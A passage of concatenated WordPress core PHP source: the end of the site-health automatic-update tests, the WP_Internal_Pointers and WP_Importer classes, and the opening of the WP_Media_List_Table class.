		return $tests;
	}

	/**
	 * Tests if auto-updates related constants are set correctly.
	 *
	 * @since 5.2.0
	 * @since 5.5.1 The `$value` parameter can accept an array.
	 *
	 * @param string $constant         The name of the constant to check.
	 * @param bool|string|array $value The value that the constant should be, if set,
	 *                                 or an array of acceptable values.
	 * @return array The test results.
	 */
	public function test_constants( $constant, $value ) {
		$acceptable_values = (array) $value;

		if ( defined( $constant ) && ! in_array( constant( $constant ), $acceptable_values, true ) ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Name of the constant used. 2: Value of the constant used. */
					__( 'The %1$s constant is defined as %2$s' ),
					"<code>$constant</code>",
					'<code>' . esc_html( var_export( constant( $constant ), true ) ) . '</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if updates are intercepted by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_wp_version_check_attached() {
		if ( ( ! is_multisite() || is_main_site() && is_network_admin() )
			&& ! has_filter( 'wp_version_check', 'wp_version_check' )
		) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'A plugin has prevented updates by disabling %s.' ),
					'<code>wp_version_check()</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if automatic updates are disabled by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_filters_automatic_updater_disabled() {
		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( apply_filters( 'automatic_updater_disabled', false ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'The %s filter is enabled.' ),
					'<code>automatic_updater_disabled</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if automatic updates are disabled.
	 *
	 * @since 5.3.0
	 *
	 * @return array|false The test results. False if auto-updates are enabled.
	 */
	public function test_wp_automatic_updates_disabled() {
		if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
		}

		$auto_updates = new WP_Automatic_Updater();

		if ( ! $auto_updates->is_disabled() ) {
			return false;
		}

		return array(
			'description' => __( 'All automatic updates are disabled.' ),
			'severity'    => 'fail',
		);
	}

	/**
	 * Checks if automatic updates have tried to run, but failed, previously.
	 *
	 * @since 5.2.0
	 *
	 * @return array|false The test results. False if the auto-updates failed.
	 */
	public function test_if_failed_update() {
		$failed = get_site_option( 'auto_core_update_failed' );

		if ( ! $failed ) {
			return false;
		}

		if ( ! empty( $failed['critical'] ) ) {
			$description  = __( 'A previous automatic background update ended with a critical failure, so updates are now disabled.' );
			$description .= ' ' . __( 'You would have received an email because of this.' );
			$description .= ' ' . __( "When you've been able to update using the \"Update now\" button on Dashboard > Updates, this error will be cleared for future update attempts." );
			$description .= ' ' . sprintf(
				/* translators: %s: Code of error shown. */
				__( 'The error code was %s.' ),
				'<code>' . $failed['error_code'] . '</code>'
			);
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

		$description = __( 'A previous automatic background update could not occur.' );
		if ( empty( $failed['retry'] ) ) {
			$description .= ' ' . __( 'You would have received an email because of this.' );
		}

		$description .= ' ' . __( 'Another attempt will be made with the next release.' );
		$description .= ' ' . sprintf(
			/* translators: %s: Code of error shown. */
			__( 'The error code was %s.' ),
			'<code>' . $failed['error_code'] . '</code>'
		);
		return array(
			'description' => $description,
			'severity'    => 'warning',
		);
	}

	/**
	 * Checks if WordPress is controlled by a VCS (Git, Subversion etc).
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_vcs_abspath() {
		$context_dirs = array( ABSPATH );
		$vcs_dirs     = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs   = array();

		foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

				// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

		$check_dirs = array_unique( $check_dirs );

		// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition,Squiz.PHP.DisallowMultipleAssignments
				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) ) {
					break 2;
				}
			}
		}

		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( $checkout && ! apply_filters( 'automatic_updates_is_vcs_checkout', true, ABSPATH ) ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. 3: Filter name. */
					__( 'The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates.' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>",
					'<code>automatic_updates_is_vcs_checkout</code>'
				),
				'severity'    => 'info',
			);
		}

		if ( $checkout ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. */
					__( 'The folder %1$s was detected as being under version control (%2$s).' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>"
				),
				'severity'    => 'warning',
			);
		}

		return array(
			'description' => __( 'No version control systems were detected.' ),
			'severity'    => 'pass',
		);
	}

	/**
	 * Checks if we can access files without providing credentials.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_check_wp_filesystem_method() {
		// Make sure the `request_filesystem_credentials()` function is available during our REST API call.
		if ( ! function_exists( 'request_filesystem_credentials' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$skin    = new Automatic_Upgrader_Skin();
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

		if ( ! $success ) {
			$description  = __( 'Your installation of WordPress prompts for FTP credentials to perform updates.' );
			$description .= ' ' . __( '(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)' );

			return array(
				'description' => $description,
				'severity'    => 'fail',
			);
		}

		return array(
			'description' => __( 'Your installation of WordPress does not require FTP credentials to perform updates.' ),
			'severity'    => 'pass',
		);
	}

	/**
	 * Checks if core files are writable by the web user/group.
	 *
	 * @since 5.2.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return array|false The test results. False if they're not writeable.
	 */
	public function test_all_files_writable() {
		global $wp_filesystem;

		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

		$skin    = new Automatic_Upgrader_Skin();
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

		if ( ! $success ) {
			return false;
		}

		WP_Filesystem();

		if ( 'direct' !== $wp_filesystem->method ) {
			return false;
		}

		// Make sure the `get_core_checksums()` function is available during our REST API call.
		if ( ! function_exists( 'get_core_checksums' ) ) {
			require_once ABSPATH . 'wp-admin/includes/update.php';
		}

		$checksums = get_core_checksums( $wp_version, 'en_US' );
		$dev       = ( str_contains( $wp_version, '-' ) );
		// Get the last stable version's files and test against that.
		if ( ! $checksums && $dev ) {
			$checksums = get_core_checksums( (float) $wp_version - 0.1, 'en_US' );
		}

		// There aren't always checksums for development releases, so just skip the test if we still can't find any.
		if ( ! $checksums && $dev ) {
			return false;
		}

		if ( ! $checksums ) {
			$description = sprintf(
				/* translators: %s: WordPress version. */
				__( "Couldn't retrieve a list of the checksums for WordPress %s." ),
				$wp_version
			);
			$description .= ' ' . __( 'This could mean that connections are failing to WordPress.org.' );
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

		$unwritable_files = array();
		foreach ( array_keys( $checksums ) as $file ) {
			if ( str_starts_with( $file, 'wp-content' ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) ) {
				continue;
			}
			if ( ! is_writable( ABSPATH . $file ) ) {
				$unwritable_files[] = $file;
			}
		}

		if ( $unwritable_files ) {
			if ( count( $unwritable_files ) > 20 ) {
				$unwritable_files   = array_slice( $unwritable_files, 0, 20 );
				$unwritable_files[] = '...';
			}
			return array(
				'description' => __( 'Some files are not writable by WordPress:' ) . ' <ul><li>' . implode( '</li><li>', $unwritable_files ) . '</li></ul>',
				'severity'    => 'fail',
			);
		} else {
			return array(
				'description' => __( 'All of your WordPress files are writable.' ),
				'severity'    => 'pass',
			);
		}
	}

	/**
	 * Checks if the install is using a development branch and can use nightly packages.
	 *
	 * @since 5.2.0
	 *
	 * @return array|false The test results. False if it isn't a development version.
	 */
	public function test_accepts_dev_updates() {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
		// Only for dev versions.
		if ( ! str_contains( $wp_version, '-' ) ) {
			return false;
		}

		if ( defined( 'WP_AUTO_UPDATE_CORE' ) && ( 'minor' === WP_AUTO_UPDATE_CORE || false === WP_AUTO_UPDATE_CORE ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress development updates are blocked by the %s constant.' ),
					'<code>WP_AUTO_UPDATE_CORE</code>'
				),
				'severity'    => 'fail',
			);
		}

		/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_dev_auto_core_updates', $wp_version ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress development updates are blocked by the %s filter.' ),
					'<code>allow_dev_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if the site supports automatic minor updates.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_accepts_minor_updates() {
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) && false === WP_AUTO_UPDATE_CORE ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress security and maintenance releases are blocked by %s.' ),
					"<code>define( 'WP_AUTO_UPDATE_CORE', false );</code>"
				),
				'severity'    => 'fail',
			);
		}

		/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_minor_auto_core_updates', true ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress security and maintenance releases are blocked by the %s filter.' ),
					'<code>allow_minor_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}
}
<?php
/**
 * Administration API: WP_Internal_Pointers class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an internal admin pointers API.
 *
 * @since 3.3.0
 */
#[AllowDynamicProperties]
final class WP_Internal_Pointers {
	/**
	 * Initializes the new feature pointers.
	 *
	 * @since 3.3.0
	 *
	 * All pointers can be disabled using the following:
	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
	 *
	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
	 *
	 *    function yourprefix_remove_pointers() {
	 *        remove_action(
	 *            'admin_print_footer_scripts',
	 *            array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' )
	 *        );
	 *    }
	 *    add_action( 'admin_enqueue_scripts', 'yourprefix_remove_pointers', 11 );
	 *
	 * @param string $hook_suffix The current admin page.
	 */
	public static function enqueue_scripts( $hook_suffix ) {
		/*
		 * Register feature pointers
		 *
		 * Format:
		 *     array(
		 *         hook_suffix => pointer callback
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'themes.php' => 'wp390_widgets'
		 *     )
		 */
		$registered_pointers = array(
			// None currently.
		);

		// Check if screen related pointer is registered.
		if ( empty( $registered_pointers[ $hook_suffix ] ) ) {
			return;
		}

		$pointers = (array) $registered_pointers[ $hook_suffix ];

		/*
		 * Specify required capabilities for feature pointers
		 *
		 * Format:
		 *     array(
		 *         pointer callback => Array of required capabilities
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'wp390_widgets' => array( 'edit_theme_options' )
		 *     )
		 */
		$caps_required = array(
			// None currently.
		);

		// Get dismissed pointers.
		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );

		$got_pointers = false;
		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
			if ( isset( $caps_required[ $pointer ] ) ) {
				foreach ( $caps_required[ $pointer ] as $cap ) {
					if ( ! current_user_can( $cap ) ) {
						continue 2;
					}
				}
			}

			// Bind pointer print function.
			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
			$got_pointers = true;
		}

		if ( ! $got_pointers ) {
			return;
		}

		// Add pointers script and style to queue.
		wp_enqueue_style( 'wp-pointer' );
		wp_enqueue_script( 'wp-pointer' );
	}

	/**
	 * Prints the pointer JavaScript data.
	 *
	 * @since 3.3.0
	 *
	 * @param string $pointer_id The pointer ID.
	 * @param string $selector The HTML elements, on which the pointer should be attached.
	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
	 */
	private static function print_js( $pointer_id, $selector, $args ) {
		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) {
			return;
		}

		?>
		<script type="text/javascript">
		(function($){
			var options = <?php echo wp_json_encode( $args ); ?>, setup;

			if ( ! options )
				return;

			options = $.extend( options, {
				close: function() {
					$.post( ajaxurl, {
						pointer: '<?php echo $pointer_id; ?>',
						action: 'dismiss-wp-pointer'
					});
				}
			});

			setup = function() {
				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
			};

			if ( options.position && options.position.defer_loading )
				$(window).bind( 'load.wp-pointers', setup );
			else
				$( function() {
					setup();
				} );

		})( jQuery );
		</script>
		<?php
	}

	public static function pointer_wp330_toolbar() {}
	public static function pointer_wp330_media_uploader() {}
	public static function pointer_wp330_saving_widgets() {}
	public static function pointer_wp340_customize_current_theme_link() {}
	public static function pointer_wp340_choose_image_from_library() {}
	public static function pointer_wp350_media() {}
	public static function pointer_wp360_revisions() {}
	public static function pointer_wp360_locks() {}
	public static function pointer_wp390_widgets() {}
	public static function pointer_wp410_dfw() {}
	public static function pointer_wp496_privacy() {}

	/**
	 * Prevents new users from seeing existing 'new feature' pointers.
	 *
	 * @since 3.3.0
	 *
	 * @param int $user_id User ID.
	 */
	public static function dismiss_pointers_for_new_users( $user_id ) {
		add_user_meta( $user_id, 'dismissed_wp_pointers', '' );
	}
}
<?php
/**
 * WP_Importer base class
 */
#[AllowDynamicProperties]
class WP_Importer {
	/**
	 * Class Constructor
	 */
	public function __construct() {}

	/**
	 * Returns array with imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all posts in chunks.
		do {
			$meta_key = $importer_name . '_' . $blog_id . '_permalink';
			$sql      = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d", $meta_key, $offset, $limit );
			$results  = $wpdb->get_results( $sql );

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Set permalinks into array.
					$hashtable[ $r->meta_value ] = (int) $r->post_id;
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * Returns count of imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return int
	 */
	public function count_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$count = 0;

		// Get count of permalinks.
		$meta_key = $importer_name . '_' . $blog_id . '_permalink';
		$sql      = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key );

		$result = $wpdb->get_results( $sql );

		if ( ! empty( $result ) ) {
			$count = (int) $result[0]->cnt;
		}

		return $count;
	}

	/**
	 * Sets array with imported comments from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_comments( $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all comments in chunks.
		do {
			$sql     = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
			$results = $wpdb->get_results( $sql );

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Explode comment_agent key.
					list ( $comment_agent_blog_id, $source_comment_id ) = explode( '-', $r->comment_agent );

					$source_comment_id = (int) $source_comment_id;

					// Check if this comment came from this blog.
					if ( (int) $blog_id === (int) $comment_agent_blog_id ) {
						$hashtable[ $source_comment_id ] = (int) $r->comment_ID;
					}
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * @param int $blog_id
	 * @return int|void
	 */
	public function set_blog( $blog_id ) {
		if ( is_numeric( $blog_id ) ) {
			$blog_id = (int) $blog_id;
		} else {
			$blog   = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
			$parsed = parse_url( $blog );
			if ( ! $parsed || empty( $parsed['host'] ) ) {
				fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
				exit;
			}
			if ( empty( $parsed['path'] ) ) {
				$parsed['path'] = '/';
			}
			$blogs = get_sites(
				array(
					'domain' => $parsed['host'],
					'number' => 1,
					'path'   => $parsed['path'],
				)
			);
			if ( ! $blogs ) {
				fwrite( STDERR, "Error: Could not find blog\n" );
				exit;
			}
			$blog    = array_shift( $blogs );
			$blog_id = (int) $blog->blog_id;
		}

		if ( function_exists( 'is_multisite' ) ) {
			if ( is_multisite() ) {
				switch_to_blog( $blog_id );
			}
		}

		return $blog_id;
	}

	/**
	 * @param int $user_id
	 * @return int|void
	 */
	public function set_user( $user_id ) {
		if ( is_numeric( $user_id ) ) {
			$user_id = (int) $user_id;
		} else {
			$user_id = (int) username_exists( $user_id );
		}

		if ( ! $user_id || ! wp_set_current_user( $user_id ) ) {
			fwrite( STDERR, "Error: can not find user\n" );
			exit;
		}

		return $user_id;
	}

	/**
	 * Sorts by strlen, longest string first.
	 *
	 * @param string $a
	 * @param string $b
	 * @return int
	 */
	public function cmpr_strlen( $a, $b ) {
		return strlen( $b ) - strlen( $a );
	}

	/**
	 * Gets URL.
	 *
	 * @param string $url
	 * @param string $username
	 * @param string $password
	 * @param bool   $head
	 * @return array
	 */
	public function get_page( $url, $username = '', $password = '', $head = false ) {
		// Increase the timeout.
		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );

		$headers = array();
		$args    = array();
		if ( true === $head ) {
			$args['method'] = 'HEAD';
		}
		if ( ! empty( $username ) && ! empty( $password ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
		}

		$args['headers'] = $headers;

		return wp_safe_remote_request( $url, $args );
	}

	/**
	 * Bumps up the request timeout for http requests.
	 *
	 * @param int $val
	 * @return int
	 */
	public function bump_request_timeout( $val ) {
		return 60;
	}

	/**
	 * Checks if user has exceeded disk quota.
	 *
	 * @return bool
	 */
	public function is_user_over_quota() {
		if ( function_exists( 'upload_is_user_over_quota' ) ) {
			if ( upload_is_user_over_quota() ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Replaces newlines, tabs, and multiple spaces with a single space.
	 *
	 * @param string $text
	 * @return string
	 */
	public function min_whitespace( $text ) {
		return preg_replace( '|[\r\n\t ]+|', ' ', $text );
	}

	/**
	 * Resets global variables that grow out of control during imports.
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb  $wpdb       WordPress database abstraction object.
	 * @global int[] $wp_actions
	 */
	public function stop_the_insanity() {
		global $wpdb, $wp_actions;
		// Or define( 'WP_IMPORTING', true );
		$wpdb->queries = array();
		// Reset $wp_actions to keep it from growing out of control.
		$wp_actions = array();
	}
}

/**
 * Returns value of command line params.
 * Exits when a required param is not set.
 *
 * @param string $param
 * @param bool   $required
 * @return mixed
 */
function get_cli_args( $param, $required = false ) {
	$args = $_SERVER['argv'];
	if ( ! is_array( $args ) ) {
		$args = array();
	}

	$out = array();

	$last_arg = null;
	$return   = null;

	$il = count( $args );

	for ( $i = 1, $il; $i < $il; $i++ ) {
		if ( (bool) preg_match( '/^--(.+)/', $args[ $i ], $match ) ) {
			$parts = explode( '=', $match[1] );
			$key   = preg_replace( '/[^a-z0-9]+/', '', $parts[0] );

			if ( isset( $parts[1] ) ) {
				$out[ $key ] = $parts[1];
			} else {
				$out[ $key ] = true;
			}

			$last_arg = $key;
		} elseif ( (bool) preg_match( '/^-([a-zA-Z0-9]+)/', $args[ $i ], $match ) ) {
			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
				$key         = $match[1][ $j ];
				$out[ $key ] = true;
			}

			$last_arg = $key;
		} elseif ( null !== $last_arg ) {
			$out[ $last_arg ] = $args[ $i ];
		}
	}

	// Check array for specified param.
	if ( isset( $out[ $param ] ) ) {
		// Set return value.
		$return = $out[ $param ];
	}

	// Check for missing required param.
	if ( ! isset( $out[ $param ] ) && $required ) {
		// Display message and exit.
		echo "\"$param\" parameter is required but was not specified\n";
		exit;
	}

	return $return;
}
<?php
/**
 * List Table API: WP_Media_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying media items in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Media_List_Table extends WP_List_Table {
	/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $comment_pending_count = array();

	private $detached;

	private $is_trash;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		$this->detached = ( isset( $_REQUEST['attachment-filter'] ) && 'detached' === $_REQUEST['attachment-filter'] );

		$this->modes = array(
			'list' => __( 'List view' ),
			'grid' => __( 'Grid view' ),
		);

		parent::__construct(
			array(
				'plural' => 'media',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'upload_files' );
	}

	/**
	 * @global string   $mode                  List table view mode.
	 * @global WP_Query $wp_query              WordPress Query object.
	 * @global array    $post_mime_types
	 * @global array    $avail_post_mime_types
	 */
	public function prepare_items() {
		global $mode, $wp_query, $post_mime_types, $avail_post_mime_types;

		$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];

		/*
		 * Exclude attachments scheduled for deletion in the next two hours
		 * if they are for zip packages for interrupted or failed updates.
		 * See File_Upload_Upgrader class.
		 */
		$not_in = array();

		$crons = _get_cron_array();

		if ( is_array( $crons ) ) {
			foreach ( $crons as $cron ) {
				if ( isset( $cron['upgrader_scheduled_cleanup'] ) ) {
					$details = reset( $cron['upgrader_scheduled_cleanup'] );

					if ( ! empty( $details['args'][0] ) ) {
						$not_in[] = (int) $details['args'][0];
					}
				}
			}
		}

		if ( ! empty( $_REQUEST['post__not_in'] ) && is_array( $_REQUEST['post__not_in'] ) ) {
			$not_in = array_merge( array_values( $_REQUEST['post__not_in'] ), $not_in );
		}

		if ( ! empty( $not_in ) ) {
			$_REQUEST['post__not_in'] = $not_in;
		}

		list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $_REQUEST );

		$this->is_trash = isset( $_REQUEST['attachment-filter'] ) && 'trash' === $_REQUEST['attachment-filter'];

		$this->set_pagination_args(
			array(
				'total_items' => $wp_query->found_posts,
				'total_pages' => $wp_query->max_num_pages,
				'per_page'    => $wp_query->query_vars['posts_per_page'],
			)
		);
		if ( $wp_query->posts ) {
			update_post_thumbnail_cache( $wp_query );
			update_post_parent_caches( $wp_query->posts );
		}
	}

	/**
	 * @global array $post_mime_types
	 * @global array $avail_post_mime_types
	 * @return array
	 */
	protected function get_views() {
		global $post_mime_types, $avail_post_mime_types;

		$type_links = array();

		$filter = empty( $_GET['attachment-filter'] ) ? '' : $_GET['attachment-filter'];

		$type_links['all'] = sprintf(
			'<option value=""%s>%s</option>',
			selected( $filter, true, false ),
			__( 'All media items' )
		);

		foreach ( $post_mime_types as $mime_type => $label ) {
			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

			$selected = selected(
				$filter && str_starts_with( $filter, 'post_mime_type:' ) &&
					wp_match_mime_types( $mime_type, str_replace( 'post_mime_type:', '', $filter ) ),
				true,
				false
			);

			$type_links[ $mime_type ] = sprintf(
				'<option value="post_mime_type:%s"%s>%s</option>',
				esc_attr( $mime_type ),
				$selected,
				$label[0]
			);
		}

		$type_links['detached'] = '<option value="detached"' . ( $this->detached ? ' selected="selected"' : '' ) . '>' . _x( 'Unattached', 'media items' ) . '</option>';

		$type_links['mine'] = sprintf(
			'<option value="mine"%s>%s</option>',
			selected( 'mine' === $filter, true, false ),
			_x( 'Mine', 'media items' )
		);

		if ( $this->is_trash || ( defined( 'MEDIA_TRASH' ) && MEDIA_TRASH ) ) {
			$type_links['trash'] = sprintf(
				'<option value="trash"%s>%s</option>',
				selected( 'trash' === $filter, true, false ),
				_x( 'Trash', 'attachment filter' )
			);
		}

		return $type_links;
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( MEDIA_TRASH ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
				$actions['delete']  = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		} else {
			$actions['delete'] = __( 'Delete permanently' );
		}

		if ( $this->detached ) {
			$actions['attach'] = __( 'Attach' );
		}

		return $actions;
	}

	/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		if ( 'bar' !== $which ) {
			return;
		}
		?>
		<div class="actions">
			<?php
			if ( ! $this->is_trash ) {
				$this->months_dropdown( 'attachment' );
			}

			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );

			if ( $this->is_trash && $this->has_items()
				&& current_user_can( 'edit_others_posts' )
			) {
				submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
			}
			?>
		</div>
		<?php
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'attach';
		}

		if ( isset( $_REQUEST['parent_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'detach';
		}

		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

	/**
	 */
	public function no_items() {
		if ( $this->is_trash ) {
			_e( 'No media files found in Trash.' );
		} else {
			_e( 'No media files found.' );
		}
	}

	/**
	 * Overrides parent views to use the filter bar display.
	 *
	 * @global string $mode List table view mode.
	 */
	public function views() {
		global $mode;

		$views = $this->get_views();

		$this->screen->render_screen_reader_content( 'heading_views' );
		?>
		<div class="wp-filter">
			<div class="filter-items">
				<?php $this->view_switcher( $mode ); ?>

				<label for="attachment-filter" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Filter by type' );
					?>
				</label>
				<select class="attachment-filters" name="attachment-filter" id="attachment-filter">
					<?php
					if ( ! empty( $views ) ) {
						foreach ( $views as $class => $view ) {
							echo "\t$view\n";
						}
					}
					?>
				</select>

				<?php
				$this->extra_tablenav( 'bar' );

				/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
				$views = apply_filters( "views_{$this->screen->id}", array() );

				// Back compat for pre-4.0 view links.
				if ( ! empty( $views ) ) {
					echo '<ul class="filter-links">';
					foreach ( $views as $class => $view ) {
						echo "<li class='$class'>$view</li>";
					}
					echo '</ul>';
				}
				?>
			</div>

			<div class="search-form">
				<p class="search-box">
					<label class="screen-reader-text" for="media-search-input">
					<?php
					/* translators: Hidden accessibility text. */
					esc_html_e( 'Search Media' );
					?>
					</label>
					<input type="search" id="media-search-input" class="search" name="s" value="<?php _admin_search_query(); ?>">
					<input id="search-submit" type="submit" class="button" value="<?php esc_attr_e( 'Search Media' ); ?>">
				</p>
			</div>
		</div>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$posts_columns       = array();
		$posts_columns['cb'] = '<input type="checkbox" />';
		/* translators: Column name. */
		$posts_columns['title']  = _x( 'File', 'column name' );
		$posts_columns['author'] = __( 'Author' );

		$taxonomies = get_taxonomies_for_attachments( 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

		/**
		 * Filters the taxonomy columns for attachments in the Media list table.
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies An array of registered taxonomy names to show for attachments.
		 * @param string   $post_type  The post type. Default 'attachment'.
		 */
		$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

		foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy ) {
				$column_key = 'categories';
			} elseif ( 'post_tag' === $taxonomy ) {
				$column_key = 'tags';
			} else {
				$column_key = 'taxonomy-' . $taxonomy;
			}

			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

		/* translators: Column name. */
		if ( ! $this->detached ) {
